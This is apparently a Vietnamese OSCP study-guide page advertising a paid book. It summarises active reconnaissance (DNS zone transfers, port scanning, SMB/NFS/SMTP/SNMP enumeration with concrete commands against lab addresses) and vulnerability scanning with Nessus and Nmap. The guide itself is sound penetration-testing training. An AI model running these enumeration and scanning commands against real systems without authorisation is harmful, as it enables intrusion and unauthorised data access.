Biên soạn  bởi Vinh Nguyen Tran Tuong , Security365 – Viện Đào Tạo An Toàn Thông Tin dựa trên tài liệu gốc

📘 Sách in 25 module (tiếng Việt, biên soạn chuẩn OSCP) : 800+ trang
🎥 Kèm video bài giảng tổng quan & audio hướng dẫn chi tiết (tham khảo Chương 2)
💰 Giá: 750.000 VND
🏦 Thanh toán: TPBANK 0914433338 – Gửi UNC qua Zalo 0914433338


1. Tổng quan về OSCP

OSCP (Offensive Security Certified Professional) là chứng chỉ kiểm thử xâm nhập (penetration testing) hàng đầu thế giới do Offensive Security cấp. Đây là một trong những chứng chỉ khó và được đánh giá cao nhất trong ngành an toàn thông tin, đòi hỏi thí sinh vừa có kiến thức lý thuyết, vừa thành thạo kỹ năng thực hành khai thác lỗ hổng trên hệ thống thật.

  • Hình thức thi: Online, kéo dài 24 giờ liên tục
  • Yêu cầu: Khai thác và chiếm quyền (root/system) trên các máy chủ mục tiêu, ghi chép đầy đủ báo cáo kỹ thuật
  • Mục tiêu: Đánh giá khả năng pentest toàn diện, từ thu thập thông tin, phân tích, khai thác, đến báo cáo kết quả

2. Cách học & chuẩn bị thi OSCP

  • Bước 1 – Nắm vững nền tảng: Thành thạo Linux, Windows Server, Networking, và các công cụ pentest cơ bản.
  • Bước 2 – Học theo module: Theo lộ trình từ cơ bản đến nâng cao với 25 module của giáo trình Security365.
  • Bước 3 – Thực hành lab: Áp dụng ngay trên hệ thống lab trực tuyến hoặc lab tự dựng.
  • Bước 4 – Luyện đề & viết báo cáo: Làm thử các bài thi mô phỏng, luyện viết report chuẩn OSCP.
  • Bước 5 – Chuẩn bị tâm lý và thời gian: Lên kế hoạch quản lý 24 giờ thi hiệu quả.

25 Module Học & Ôn Luyện OSCP – Security365


1. Penetration Testing with Kali Linux

  • Mục tiêu: Hiểu tổng quan về chứng chỉ OSCP và cấu trúc khóa học.
  • Nội dung: Giới thiệu OSCP, quy tắc “Try Harder”, yêu cầu kỹ thuật, phương pháp học hiệu quả.
  • Ứng dụng: Giúp học viên biết mình sẽ học gì, cần chuẩn bị gì và cách tận dụng tài liệu, lab.

2. Getting Comfortable with Kali Linux

  • Mục tiêu: Thành thạo môi trường làm việc trên Kali Linux.
  • Nội dung: Cài đặt, cấu hình, quản lý gói, thao tác desktop & terminal.
  • Ứng dụng: Nắm chắc nền tảng để sử dụng hơn 600 công cụ pentest tích hợp sẵn.

3. Command Line Fun

  • Mục tiêu: Tăng tốc thao tác bằng dòng lệnh.
  • Nội dung: Các lệnh Linux cơ bản & nâng cao, pipe, grep, awk, sed.
  • Ứng dụng: Tiết kiệm thời gian, tự động hóa xử lý dữ liệu trong quá trình pentest.

4. Practical Tools

  • Mục tiêu: Sử dụng hiệu quả các công cụ pentest phổ biến.
  • Nội dung: Nmap, Netcat, Burp Suite, Hydra, Nikto, Gobuster.
  • Ứng dụng: Thu thập thông tin, quét port, brute-force, phân tích web.

5. Bash Scripting

  • Mục tiêu: Tự động hóa quy trình tấn công.
  • Nội dung: Viết script thu thập thông tin, quét lỗ hổng, khai thác tự động.
  • Ứng dụng: Tiết kiệm thời gian và lặp lại thao tác một cách chính xác.

6. Passive Information Gathering

  • Mục tiêu: Thu thập thông tin mà không bị phát hiện.
  • Nội dung: Whois, Google Dorking, Shodan, Recon-ng.
  • Ứng dụng: Xây dựng hồ sơ mục tiêu trước khi bắt đầu tấn công.

7. Active Information Gathering

  • Mục tiêu: Quét và xác định dịch vụ, hệ điều hành, ứng dụng đang chạy.
  • Nội dung: Nmap scan, OS fingerprinting, banner grabbing.
  • Ứng dụng: Lập danh sách mục tiêu khai thác tiềm năng.

Thu thập thông tin chủ động

1. Giới thiệu về Thu thập thông tin chủ động

Mô-đun này đi sâu vào việc thu thập thông tin chủ động, liên quan đến tương tác trực tiếp với các dịch vụ mục tiêu. Mặc dù có rất nhiều dịch vụ có thể nhắm mục tiêu, phần này tập trung vào các kỹ thuật thu thập thông tin chủ động phổ biến như quét cổng và liệt kê DNS, SMB, NFS, SMTP và SNMP.

2. Liệt kê DNS (Domain Name System)

DNS là một hệ thống quan trọng trên Internet, chịu trách nhiệm dịch tên miền thành địa chỉ IP. Việc liệt kê DNS là một mục tiêu sinh lợi để thu thập thông tin chủ động do lượng thông tin phong phú mà nó chứa.

  • Quá trình phân giải DNS: Bắt đầu khi tên máy chủ được nhập, yêu cầu được chuyển tiếp đến máy chủ DNS đệ quy, sau đó máy chủ này liên hệ với máy chủ gốc, TLD và cuối cùng là máy chủ định danh có thẩm quyền (chứa các bản ghi DNS trong tệp vùng).
  • Bộ nhớ đệm DNS: Được sử dụng để cải thiện hiệu suất và độ tin cậy bằng cách lưu trữ các bản sao cục bộ của các bản ghi DNS.
  • Các loại bản ghi DNS phổ biến:NS (Nameserver): Chứa tên của máy chủ có thẩm quyền lưu trữ bản ghi DNS cho một miền.
  • A (Host record): Chứa địa chỉ IP của tên máy chủ.
  • MX (Mail Exchange): Chứa tên của các máy chủ xử lý email cho miền.
  • PTR (Pointer Records): Được sử dụng trong các vùng tra cứu ngược để tìm tên máy chủ từ địa chỉ IP.
  • CNAME (Canonical Name Records): Tạo bí danh cho các bản ghi máy chủ lưu trữ khác.
  • TXT (Text records): Có thể chứa dữ liệu tùy ý, ví dụ: để xác minh quyền sở hữu miền.
  • Tương tác với máy chủ DNS: Lệnh host có thể được sử dụng để tìm địa chỉ IP (host http://www.megacorpone.com), hoặc truy vấn các loại bản ghi khác như MX (host -t mx megacorpone.com) và TXT (host -t txt megacorpone.com).
  • Tự động hóa tra cứu:Brute Force Tra cứu Forward: Sử dụng danh sách từ để đoán các bản ghi DNS hợp lệ. “Bằng cách sử dụng danh sách từ có chứa các tên máy chủ phổ biến, chúng tôi có thể cố gắng đoán các bản ghi DNS và kiểm tra phản hồi cho các tên máy chủ hợp lệ.” (Liệt kê 214, 215).
  • Brute Force Tra cứu Ngược: Quét một phạm vi IP để yêu cầu tên máy chủ cho từng IP nếu bản ghi PTR được cấu hình. (Liệt kê 216).
  • Chuyển vùng DNS (DNS Zone Transfers): Là bản sao cơ sở dữ liệu tệp vùng giữa các máy chủ DNS. “Việc chuyển vùng chỉ được phép cho các máy chủ DNS nô lệ được ủy quyền nhưng nhiều quản trị viên đã định cấu hình sai các máy chủ DNS của họ và trong những trường hợp này, bất kỳ ai yêu cầu bản sao của vùng máy chủ DNS thường sẽ nhận được một bản sao.” (Mục 7.1.5). “Điều này tương đương với việc giao cho một hacker bố trí mạng công ty trên một đĩa bạc.” (Mục 7.1.5). Điều này có thể tiết lộ một bản đồ hoàn chỉnh về cấu trúc mạng bên trong và bên ngoài. Lệnh host -l <domain name> <dns server address> được sử dụng để cố gắng chuyển vùng.
  • Công cụ liên quan trong Kali Linux:DNSRecon: Một tập lệnh liệt kê DNS nâng cao bằng Python. Ví dụ: dnsrecon -d megacorpone.com -t axfr để chuyển vùng, hoặc dnsrecon -d megacorpone.com -D ~/list.txt -t brt để brute force tên máy chủ.
  • DNSenum: Một công cụ liệt kê DNS phổ biến khác. Ví dụ: dnsenum zonetransfer.me.

3. Quét cổng (Port Scanning)

Quét cổng là quá trình kiểm tra các cổng TCP hoặc UDP trên một máy từ xa để phát hiện các dịch vụ đang chạy và các vectơ tấn công tiềm ẩn.

  • Lưu ý quan trọng: Quét cổng có thể bị coi là bất hợp pháp ở một số khu vực pháp lý và nên được thực hiện với sự cho phép rõ ràng. Việc quét mù quáng có thể gây ra tác động tiêu cực như quá tải máy chủ hoặc kích hoạt IDS.
  • Tiếp cận chiến lược: Bắt đầu với việc quét các cổng phổ biến (ví dụ: 80, 443), sau đó mở rộng quét đầy đủ cổng cho các máy chủ tiềm năng.
  • Quét TCP/UDP với Netcat (công cụ cơ bản):Quét TCP (CONNECT): Dựa trên cơ chế bắt tay ba lần TCP. “Nếu quá trình bắt tay hoàn tất thành công, cổng được coi là mở.” (Mục 7.2.1.1). Sử dụng nc -nvv -w 1 -z 10.11.1.220 3388-3390.
  • Quét UDP: Khác với TCP vì UDP không trạng thái. Gửi một gói UDP trống; nếu cổng mở, gói tin được chuyển đến lớp ứng dụng; nếu đóng, máy đích phản hồi bằng một cổng ICMP không thể truy cập. Sử dụng nc -nv -u -z -w 1 10.11.1.115 160-162.
  • Cạm bẫy khi quét UDP: Thường không đáng tin cậy do tường lửa làm rơi gói ICMP, có thể bỏ sót các cổng mở và thường bị bỏ qua bởi người kiểm tra thâm nhập.
  • Quét cổng với Nmap (công cụ mạnh mẽ):Yêu cầu quyền root: Nhiều tùy chọn quét Nmap yêu cầu quyền truy cập vào các ổ cắm thô (raw sockets), do đó cần sudo.
  • Trách nhiệm với lưu lượng truy cập: Quét mặc định 1000 cổng phổ biến tạo ra ít lưu lượng hơn so với quét tất cả 65535 cổng (ví dụ: 78 KB so với 4 MB). Quét toàn bộ mạng lớp C có thể tạo ra hơn 1 GB lưu lượng. “Điều này đặc biệt đúng đối với các mạng lớn hơn, chẳng hạn như đánh giá mạng lớp A hoặc B.” (Mục 7.2.2.1).
  • Quét tàng hình / SYN (-sS): Kỹ thuật quét ưa thích của Nmap. Gửi gói SYN mà không hoàn thành bắt tay TCP. Nhanh hơn và hiệu quả hơn, không xuất hiện trong nhật ký ứng dụng. “Bởi vì quá trình bắt tay ba bước không bao giờ hoàn thành, thông tin sẽ không được chuyển đến lớp ứng dụng và kết quả là, sẽ không xuất hiện trong bất kỳ nhật ký ứng dụng nào.” (Mục 7.2.2.2).
  • Quét kết nối TCP (-sT): Mặc định khi không có đặc quyền ổ cắm thô. Sử dụng API ổ cắm Berkeley, yêu cầu hoàn thành kết nối, do đó chậm hơn quét SYN.
  • Quét UDP (-sU): Sử dụng kết hợp phương pháp “cổng ICMP không thể truy cập” và gửi gói theo giao thức cụ thể cho các cổng thông thường. Có thể kết hợp với quét SYN (-sS -sU).
  • Quét mạng (Network Sweeping) (-sn): Để đối phó với mạng lớn, Nmap gửi yêu cầu ICMP echo, gói TCP SYN đến cổng 443, gói TCP ACK đến cổng 80 và yêu cầu dấu thời gian ICMP.
  • Lưu kết quả có thể tải xuống với -oG để dễ dàng xử lý bằng grep.
  • Có thể quét các cổng TCP hoặc UDP cụ thể trên toàn mạng (nmap -p 80 10.11.1.1-254).
  • Quét một danh sách ngắn các cổng phổ biến (–top-ports=20). Tệp /usr/share/nmap/nmap-services định nghĩa các cổng này dựa trên tần suất mở trong các lần quét nghiên cứu.
  • Lấy dấu vân tay hệ điều hành (OS Fingerprinting) (-O): Cố gắng đoán hệ điều hành của mục tiêu bằng cách kiểm tra các gói được trả về, dựa trên sự khác biệt nhỏ trong cách triển khai ngăn xếp TCP/IP. Lưu ý không phải lúc nào cũng chính xác 100%.
  • Lấy biểu ngữ/Liệt kê dịch vụ (Banner Grabbing/Service Enumeration) (-sV hoặc -A): Xác định các dịch vụ đang chạy trên các cổng cụ thể bằng cách kiểm tra biểu ngữ dịch vụ và chạy các tập lệnh liệt kê. “Hãy nhớ rằng các biểu ngữ có thể được sửa đổi bởi quản trị viên hệ thống.” (Mục 7.2.2.7).
  • Engine Tập lệnh Nmap (Nmap Scripting Engine – NSE): Cho phép chạy các tập lệnh do người dùng tạo để tự động hóa các tác vụ như liệt kê DNS, tấn công brute force và xác định lỗ hổng. Các tập lệnh NSE nằm trong /usr/share/nmap/scripts. Ví dụ: smb-os-discovery, dns-zone-transfer. –script-help cung cấp thông tin về tập lệnh.
  • Masscan: Được cho là máy quét cổng nhanh nhất, có khả năng quét toàn bộ Internet trong khoảng 6 phút. Triển khai ngăn xếp TCP/IP tùy chỉnh, yêu cầu quyền sudo. Ví dụ: sudo masscan -p80 10.0.0.0/8.

4. Liệt kê SMB (Server Message Block)

Giao thức SMB có lịch sử bảo mật kém do việc triển khai phức tạp và tính chất mở của nó. SMB chạy trên cổng TCP 445.

  • Quét dịch vụ NetBIOS: Dịch vụ NetBIOS lắng nghe trên cổng TCP 139 và một số cổng UDP. SMB hiện đại có thể hoạt động không cần NetBIOS, nhưng NetBIOS qua TCP (NBT) thường được kích hoạt để tương thích ngược. Có thể quét bằng Nmap (nmap -v -p 139,445 -oG smb.txt 10.11.1.1-254) hoặc nbtscan (sudo nbtscan -r 10.11.1.0/24).
  • Tập lệnh Nmap SMB NSE: Nmap chứa nhiều tập lệnh NSE hữu ích để khám phá và liệt kê dịch vụ SMB (ví dụ: smb-os-discovery, smb-enum-shares, smb-vuln-ms08-067). Lưu ý: Sử dụng –script-args=unsafe=1 có thể làm hỏng hệ thống dễ bị tấn công.

5. Liệt kê NFS (Network File System)

NFS là một giao thức hệ thống tệp phân tán cho phép người dùng truy cập tệp qua mạng như thể chúng được gắn cục bộ. Thường được sử dụng với hệ điều hành UNIX và “chủ yếu là không an toàn trong việc triển khai của nó.” (Mục 7.4).

  • Quét chia sẻ NFS: RPCbind (Portmapper) chạy trên cổng TCP 111, ánh xạ các dịch vụ RPC tới các cổng của chúng (ví dụ: NFS thường là TCP 2049). Có thể quét bằng Nmap (nmap -v -p 111 10.11.1.1-254).
  • Tập lệnh Nmap NFS NSE: Các tập lệnh như rpcinfo (nmap -sV -p 111 –script=rpcinfo 10.11.1.1-254) và nfs-showmount (nmap -p 111 –script nfs* 10.11.1.72) có thể liệt kê các dịch vụ đã đăng ký và các chia sẻ NFS.
  • Truy cập chia sẻ NFS: Các chia sẻ NFS có thể được gắn vào máy Kali Linux bằng lệnh mount -o nolock 10.11.1.72:/home ~/home/. Thông tin nhạy cảm có thể được tìm thấy trong các chia sẻ này. Có thể thay đổi UUID của người dùng cục bộ để khớp với UUID của chủ sở hữu tệp trên NFS để có quyền truy cập.

6. Liệt kê SMTP (Simple Mail Transport Protocol)

SMTP hỗ trợ các lệnh như VRFY và EXPN, có thể bị lạm dụng để xác minh người dùng hiện có trên máy chủ thư.

  • Lệnh VRFY: Yêu cầu máy chủ xác minh địa chỉ email. Phản hồi khác nhau cho người dùng tồn tại so với người dùng không tồn tại. nc -nv 10.11.1.217 25 sau đó VRFY root hoặc VRFY idontexist.
  • Tự động hóa: Một tập lệnh Python có thể được sử dụng để tự động hóa quá trình liệt kê người dùng SMTP.

7. Liệt kê SNMP (Simple Network Management Protocol)

SNMP thường bị cấu hình sai, dẫn đến rò rỉ thông tin đáng kể. Dựa trên UDP, không trạng thái, dễ bị tấn công giả mạo IP và phát lại. Các giao thức SNMP truyền thống (1, 2, 2c) không cung cấp mã hóa lưu lượng và có các lược đồ xác thực yếu (chuỗi cộng đồng public và private mặc định). “Vì tất cả những lý do này, SNMP là một trong những giao thức liệt kê yêu thích của chúng tôi.” (Mục 7.6).

  • Cây MIB (Management Information Base): Một cơ sở dữ liệu chứa thông tin liên quan đến quản lý mạng, được tổ chức theo cấu trúc cây. Các giá trị MIB có thể cung cấp thông tin chi tiết về hệ thống. Ví dụ: 1.3.6.1.4.1.77.1.2.25 cho tài khoản người dùng Windows.
  • Quét SNMP: Có thể quét bằng Nmap (sudo nmap -sU –open -p 161 10.11.1.1-254) hoặc onesixtyone để brute force chuỗi cộng đồng (onesixtyone -c community -i ips).
  • Ví dụ liệt kê SNMP trên Windows: Công cụ snmpwalk được sử dụng để truy vấn các giá trị MIB cụ thể, thường với chuỗi cộng đồng public.
  • Liệt kê toàn bộ cây MIB (snmpwalk -c public -v1 -t 10 10.11.1.14).
  • Liệt kê người dùng Windows (snmpwalk -c public -v1 10.11.1.14 1.3.6.1.4.1.77.1.2.25).
  • Liệt kê các tiến trình Windows đang chạy (snmpwalk -c public -v1 10.11.1.73 1.3.6.1.2.1.25.4.2.1.2).
  • Liệt kê các cổng TCP đang mở (snmpwalk -c public -v1 10.11.1.14 1.3.6.1.2.1.6.13.1.3).
  • Liệt kê phần mềm đã cài đặt (snmpwalk -c public -v1 10.11.1.50 1.3.6.1.2.1.25.6.3.1.2).

8. Tổng kết

Không có công cụ “tốt nhất” duy nhất; tốt nhất là làm quen với nhiều công cụ, hiểu sắc thái của chúng và đo lường kết quả để hiểu những gì đang xảy ra. “Trong một số trường hợp, công cụ ‘tốt nhất’ là công cụ do người hành nghề có kinh nghiệm nhất nắm giữ.” (Mục 7.7).


8. Vulnerability Scanning

  • Mục tiêu: Xác định lỗ hổng bảo mật.
  • Nội dung: OpenVAS, Nessus, Nikto, phân tích kết quả scan.
  • Ứng dụng: Tìm lỗ hổng trước khi khai thác, ưu tiên mục tiêu dễ tấn công.

Quét Lỗ hổng Bảo mật

1. Tổng quan về Quét Lỗ hổng Bảo mật

Phát hiện lỗ hổng bảo mật là một phần không thể thiếu của bất kỳ đánh giá bảo mật nào. Mặc dù các tác vụ thủ công, chuyên biệt tận dụng kiến thức và kinh nghiệm của người kiểm tra thâm nhập là quan trọng, “các máy quét lỗ hổng bảo mật tự động vẫn vô giá khi được sử dụng trong ngữ cảnh thích hợp.”

1.1 Cách máy quét lỗ hổng hoạt động

Hầu hết các máy quét tự động tuân theo một quy trình làm việc tiêu chuẩn bao gồm các bước sau:

  1. Phát hiện mục tiêu: Xác định xem mục tiêu có đang hoạt động hay không.
  2. Quét cổng: Tiến hành quét toàn bộ hoặc một phần cổng tùy thuộc vào cấu hình.
  3. Nhận dạng hệ điều hành: Xác định hệ điều hành bằng các kỹ thuật lấy dấu vân tay phổ biến.
  4. Nhận dạng dịch vụ: Cố gắng xác định các dịch vụ đang chạy bằng các kỹ thuật như lấy biểu ngữ (banner grabbing), nhận dạng hành vi dịch vụ hoặc khám phá tệp. Lấy biểu ngữ là một kỹ thuật đơn giản trong đó các chuỗi văn bản được tạo ra trong quá trình tương tác ban đầu với một ứng dụng được thu thập và phân tích.
  5. Đối sánh chữ ký: Thực hiện quy trình đối sánh chữ ký để phát hiện ra các lỗ hổng. Quá trình này về cơ bản phản ánh những gì người kiểm tra thâm nhập làm thủ công, nhưng “một máy quét tự động thực hiện bước này với sự hỗ trợ của các chữ ký lỗ hổng bảo mật duy nhất.”

Lưu ý quan trọng:

  • Một số máy quét có thể được cấu hình để khai thác lỗ hổng khi phát hiện. “Điều này có thể làm giảm khả năng dương tính giả nhưng cũng làm tăng nguy cơ làm hỏng dịch vụ. Luôn kiểm tra các tùy chọn máy quét một cách cẩn thận.”
  • Ngay cả một khớp chữ ký mạnh cũng không đảm bảo sự hiện diện của lỗ hổng. Máy quét tự động có thể tạo ra “khá nhiều dương tính giả và ngược lại, âm tính giả,” do chữ ký không khớp hoặc do backporting (vá lỗi cho phiên bản cũ hơn).
  • Do đó, “chúng tôi nên kiểm tra cẩn thận và xem xét thủ công các kết quả quét lỗ hổng bảo mật bất cứ khi nào có thể.”
  • Quy trình đối sánh chữ ký “khá hiệu quả và nhanh hơn nhiều so với việc xem xét hoàn toàn thủ công, làm cho máy quét lỗ hổng bảo mật tự động trở thành lựa chọn tuyệt vời như một lựa chọn đầu tiên trong quá trình đánh giá và là người bạn đồng hành hoàn hảo cho quá trình đánh giá thủ công.”

1.2 Quét thủ công so với Quét tự động

Việc kết hợp cả hai kỹ thuật là tốt nhất, với sự cân bằng “trở nên rõ ràng hơn với kinh nghiệm.”

Ưu điểm của quét tự động:

  • “Vô giá khi làm việc trên các cam kết lớn với các giới hạn thời gian điển hình.”
  • Thiết lập một đường cơ sở trong thời gian ngắn hơn nhiều.
  • Xác nhận các lỗ hổng dễ phát hiện hoặc hiểu tình hình bảo mật chung của mục tiêu.

Nhược điểm của quét tự động:

  • Có thể tốn tài nguyên và thời gian.
  • Dễ xảy ra sai sót nếu cấu hình không đúng.
  • “Các giá trị mặc định có thể gây hại cho mục tiêu.” Ví dụ, “nhiều máy quét có thể và sẽ cố gắng ép các mật khẩu yếu,” dẫn đến khóa tài khoản và thời gian chết.
  • Không lý tưởng cho các tình huống red-teaming đòi hỏi độ chính xác cao và dấu vết mạng tối thiểu.

Ưu điểm của quét thủ công:

  • Cho phép phát hiện ra các lỗ hổng logic và phức tạp mà máy quét tự động khó phát hiện.
  • Độ chính xác phẫu thuật và dấu vết mạng tối thiểu, quan trọng trong red-teaming.

Lời khuyên: “Khi sử dụng máy quét lỗ hổng bảo mật tự động, công việc của chúng tôi với tư cách là người kiểm tra khả năng thâm nhập là cung cấp giá trị cao hơn và xa hơn đầu ra của bất kỳ công cụ nào.”

1.3 Quét Internet so với Quét Nội bộ

Vị trí mạng của người kiểm tra ảnh hưởng đến kết quả quét.

  • Tốc độ kết nối: Quyết định băng thông thô và số bước nhảy. Quét toàn diện nhanh hơn đối với các máy chủ được kết nối cục bộ.
  • Cân nhắc về lưu lượng: “Thiết bị cũ hơn có thể bị ảnh hưởng xấu bởi quá trình quét nhiều.” Nên điều chỉnh tốc độ quét và giá trị thời gian chờ.
  • Quyền truy cập và khả năng gây nhiễu lưu lượng: Tường lửa hoặc IPS có thể chặn quyền truy cập hoặc giảm lưu lượng, che dấu lỗ hổng.
  • Khả năng hiển thị mục tiêu: Mục tiêu kết nối Internet có thể chặn yêu cầu ARP và ICMP (ping), dẫn đến máy quét bỏ lỡ mục tiêu nếu chỉ dựa vào các tùy chọn khám phá này.

1.4 Quét có xác thực so với Quét không xác thực

  • Quét có xác thực: Máy quét đăng nhập vào mục tiêu bằng thông tin xác thực hợp lệ (thường là tài khoản đặc quyền).
  • Linux: Bật SSH và cấu hình thông tin đăng nhập hợp lệ. Máy quét xem xét phiên bản gói và cấu hình.
  • Windows: Yêu cầu WMI và thông tin xác thực miền/tài khoản cục bộ có quyền quản lý từ xa. Máy quét phân tích cấu hình hệ thống, cài đặt sổ đăng ký, cấp bản vá ứng dụng/hệ thống, và các tệp có khả năng bị tấn công.
  • Lợi ích: “Tạo ra vô số thông tin bổ sung và tạo ra kết quả chính xác hơn.” Giảm dương tính giả.
  • Chi phí: Thời gian quét lâu hơn.
  • Trường hợp sử dụng: Thường được sử dụng trong quản lý bản vá, có thể được sử dụng trong kiểm tra thâm nhập (với thông tin đăng nhập đã phát hiện). “Không thực hiện quét xác thực trong hầu hết các trường hợp mà không có sự cho phép rõ ràng và thông tin rõ ràng từ các quản trị viên mạng mục tiêu do nguy cơ gián đoạn không chủ ý cao hơn đối với hệ thống sản xuất.”
  • Quét không xác thực: Chạy mà không có thông tin đăng nhập. Cung cấp cái nhìn về các lỗ hổng có thể truy cập từ xa.

2. Quét lỗ hổng với Nessus

Nessus là một trình quét lỗ hổng phổ biến, hỗ trợ 130.000 plugin (kiểm tra lỗ hổng). Ban đầu là mã nguồn mở, nhưng đã trở thành nguồn đóng vào năm 2005 (dẫn đến sự phát triển của OpenVAS).

  • Phiên bản: “Essentials” miễn phí cho phép quét tối đa 16 IP, cung cấp cái nhìn sâu sắc về cách sử dụng phiên bản thương mại đầy đủ.
  • Yêu cầu tài nguyên: Thường sử dụng nhiều tài nguyên, khuyến nghị tối thiểu 2 lõi CPU và 8GB RAM.
  • Cài đặt:Cần kết nối internet để kích hoạt và tải plugin.
  • Cập nhật danh sách gói Kali và nâng cấp các gói hiện có.
  • Tải tệp .deb 64-bit từ trang web Tenable và xác thực tổng kiểm tra SHA256.
  • Cài đặt gói bằng sudo apt install ./Nessus-X.X.X.deb.
  • Khởi động dịch vụ nessusd: sudo /etc/init.d/nessusd start.
  • Truy cập https://localhost:8834, chấp nhận chứng chỉ tự ký.
  • Chọn Nessus Essentials, yêu cầu và nhập mã kích hoạt.
  • Tạo tài khoản người dùng cục bộ Nessus.
  • Tải xuống và biên dịch tất cả các plugin (có thể mất một thời gian đáng kể).

2.1 Định nghĩa mục tiêu và các kiểu quét

  • Để bắt đầu, nhấp vào “New Scan”.
  • Các kiểu quét Nessus hỗ trợ:Basic Network Scan: Quét chung với các kiểm tra khác nhau, phù hợp với nhiều loại mục tiêu.
  • Credentialed Patch Audit: Quét xác thực liệt kê các bản vá bị thiếu.
  • Web Application Tests: Quét chuyên dụng để phát hiện các lỗ hổng đã xuất bản trong Ứng dụng Web.
  • Spectre and Meltdown: Quét mục tiêu cho các lỗ hổng Spectre và Meltdown.
  • Mục tiêu có thể là địa chỉ IP, dải IP hoặc danh sách IP/FQDN được phân tách bằng dấu phẩy.

2.2 Cấu hình định nghĩa quét

Khi cấu hình một kiểu quét, cần xem xét các yếu tố như:

  1. Mục tiêu nằm trên mạng nội bộ hay công khai?
  2. Máy quét có nên cố gắng cưỡng bức thông tin đăng nhập không?
  3. Máy quét có nên quét tất cả các cổng TCP và UDP hay chỉ các cổng chung?
  4. Kiểm tra nào máy quét nên chạy và kiểm tra nào nên tránh?
  5. Máy quét nên chạy Quét xác thực hay Quét không xác thực?

Ví dụ cấu hình:

  • Quét tất cả các cổng: Trong cài đặt “Discovery”, thay đổi “Scan Type” từ “Port scan (common ports)” thành “Custom”, sau đó trong “Port Scanning”, đặt phạm vi cổng là “0-65535”.
  • Quét không xác thực: Không định cấu hình bất kỳ thông tin đăng nhập nào.
  • Vô hiệu hóa cưỡng bức mật khẩu: Chấp nhận các giá trị mặc định của Basic Network Scan.
  • Cần hiểu rằng quá trình quét được cấu hình như vậy “sẽ rất đáng chú ý ở mức lưu lượng mạng vì nó quét tất cả các cổng và tìm kiếm tất cả các lỗ hổng có thể áp dụng.”

2.3 Quét không xác thực với Nessus

  • Sau khi cấu hình, nhấp vào “Launch”.
  • Trạng thái quét sẽ thay đổi từ “Running” sang “Completed”.
  • Kết quả có thể được xem bằng cách nhấp vào tên quét, sau đó vào địa chỉ IP của máy chủ.
  • Có thể lọc lỗ hổng theo mức độ nghiêm trọng, khả năng khai thác, CVE. Để xem các lỗ hổng có thể bị khai thác, lọc theo “Exploit Available” = “true”.
  • Có thể tắt “Grouping” để xem tất cả các lỗ hổng trên một trang duy nhất, sắp xếp theo mức độ nghiêm trọng, tạo ra một “lộ trình để mục tiêu có thể bị xâm phạm, với các lỗ hổng có nguy cơ cao nhất được hiển thị đầu tiên.”
  • “Tất nhiên, một số mục nhập có thể thể hiện dương tính giả, đó là lý do tại sao việc xem xét dữ liệu quét và kiểm tra kết quả quét theo cách thủ công là rất quan trọng.”

2.4 Quét xác thực với Nessus

  • Chọn “Credentialed Patch Audit” template.
  • Cấu hình tên và mục tiêu.
  • Trong tab “Credentials”, chọn loại xác thực (ví dụ: SSH), phương thức xác thực (ví dụ: mật khẩu), và cung cấp tên người dùng/mật khẩu hợp lệ.
  • “Trong chế độ xem này, hãy lưu ý rằng các lỗ hổng được liệt kê với số bản vá.”
  • Quét xác thực cung cấp “khả năng hiển thị các ứng dụng dễ bị tấn công mà không được tiếp xúc từ xa, chẳng hạn như Firefox.”

2.5 Quét với các Plugin Nessus riêng lẻ

  • Để tinh chỉnh quét hoặc xác thực một phát hiện, có thể chạy một plugin duy nhất.
  • Sử dụng “Advanced Scan” template.
  • Cấu hình tên và mục tiêu.
  • Tắt khám phá máy chủ: Trong “Discovery > Host Discovery”, bỏ chọn “Ping the remote host” để quét yên tĩnh hơn.
  • Thu hẹp phạm vi cổng: Trong “Discovery > Port Scanning”, nhập cổng cụ thể (ví dụ: “111” cho RPC) và bỏ chọn “Local Port Enumerators”.
  • Trong tab “Plugins”, nhấp vào “Disable All”, sau đó tìm và “Enabled” plugin mong muốn (ví dụ: “NFS Exported Share Information Disclosure” trong danh mục “RPC”).
  • Lưu ý: Ngay cả khi chỉ quét một cổng, Nessus vẫn có thể tạo ra lưu lượng đến các cổng khác vì “quét cổng chỉ là một phần trong hồ sơ quét của Nessus và hầu hết các trình quét lỗ hổng bảo mật chạy các dịch vụ và plugin bổ sung để thu thập thông tin mục tiêu đằng sau hậu trường.” Kiểm soát hoàn toàn lưu lượng chỉ đến từ nỗ lực thủ công.

3. Quét lỗ hổng với Nmap

Công cụ Nmap Scripting Engine (NSE) có thể được sử dụng để thực hiện quét lỗ hổng tự động. Mặc dù không phải là trình quét lỗ hổng chính thức, “nó có một thư viện tập lệnh đáng kính có thể được sử dụng để phát hiện và xác nhận các lỗ hổng.”

  • Tập lệnh NSE: Được viết bằng Lua, có nhiều chức năng từ bạo lực và xác thực đến phát hiện và khai thác lỗ hổng.
  • Danh mục tập lệnh: Tập trung vào các tập lệnh trong danh mục “vuln” (phát hiện lỗ hổng) và “exploit” (khai thác lỗ hổng).
  • Cảnh báo an toàn: Tập lệnh được phân loại là “safe” hoặc “intrusive”. “Nên hết sức thận trọng khi thực hiện các tập lệnh sau vì chúng có thể làm hỏng một dịch vụ từ xa hoặc hạ gục mục tiêu.”
  • Quy tắc vàng: “Không bao giờ chạy tập lệnh NSE một cách mù quáng. Dành thời gian kiểm tra chúng để hiểu những gì chúng làm trước khi chạy chúng và kiểm tra các mục tiêu của riêng bạn bất cứ khi nào có thể.”
  • Vị trí tập lệnh: Các tập lệnh NSE nằm trong thư mục /usr/share/nmap/scripts/. Tệp script.db chứa chỉ mục và phân loại của tất cả các tập lệnh.
  • Cách sử dụng: Sử dụng –script với Nmap để chạy các tập lệnh. Ví dụ: sudo nmap –script vuln 10.11.1.10 để chạy tất cả các tập lệnh trong danh mục “vuln”.
  • Lợi ích: Nmap có thể “rất hữu ích cho các tác vụ tương tự” như xác minh kết quả quét lỗ hổng bảo mật, phục vụ như một bản sao lưu, và giúp giảm dương tính giả.
  • Cảnh báo: Tương tự như máy quét truyền thống, cần hiểu những gì tập lệnh sẽ/sẽ không kiểm tra, lượng lưu lượng truy cập tạo ra và các rủi ro tiềm ẩn.

4. Tổng kết

Quét lỗ hổng là một công cụ hữu ích trong giai đoạn đầu của kiểm tra thâm nhập, có thể cung cấp nhiều thông tin và tiết lộ các lỗ hổng nghiêm trọng. Tuy nhiên, điều quan trọng là phải hiểu rằng:

  • “Việc xem xét thủ công vẫn được yêu cầu.”
  • “Các máy quét chỉ có thể phát hiện ra các lỗ hổng bảo mật mà chúng được lập trình.”
